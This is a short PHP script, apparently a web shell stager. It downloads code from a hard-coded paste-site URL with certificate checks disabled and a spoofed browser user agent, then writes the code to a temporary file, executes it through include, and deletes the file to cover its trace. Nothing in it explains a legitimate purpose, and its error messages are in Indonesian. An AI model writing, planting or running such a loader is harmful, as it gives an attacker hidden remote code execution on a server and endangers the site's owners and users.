| 1 | <?php
|
| 2 |
|
| 3 | function execute_remote_php($url) {
|
| 4 | $ch = curl_init($url);
|
| 5 |
|
| 6 | curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
|
| 7 | curl_setopt($ch, CURLOPT_TIMEOUT, 15);
|
| 8 | curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36");
|
| 9 | curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
|
| 10 | curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
|
| 11 |
|
| 12 | $content = curl_exec($ch);
|
| 13 | $error = curl_error($ch);
|
| 14 | curl_close($ch);
|
| 15 |
|
| 16 | if ($error) {
|
| 17 | die("cURL Error: " . $error);
|
| 18 | }
|
| 19 |
|
| 20 | if (empty($content)) {
|
| 21 | die("Gagal mengambil data dari URL");
|
| 22 | }
|
| 23 |
|
| 24 | $content = trim($content);
|
| 25 |
|
| 26 | if (stripos($content, '<?php') === false) {
|
| 27 | $content = "<?php\n" . $content;
|
| 28 | }
|
| 29 |
|
| 30 | $tmp_file = tempnam(sys_get_temp_dir(), 'remote_');
|
| 31 | file_put_contents($tmp_file, $content);
|
| 32 |
|
| 33 | include $tmp_file;
|
| 34 |
|
| 35 | unlink($tmp_file);
|
| 36 | }
|
| 37 |
|
| 38 | $url = "https://pastee.dev/r/3sOX1iTO";
|
| 39 |
|
| 40 | execute_remote_php($url);
|
| 41 | ?> |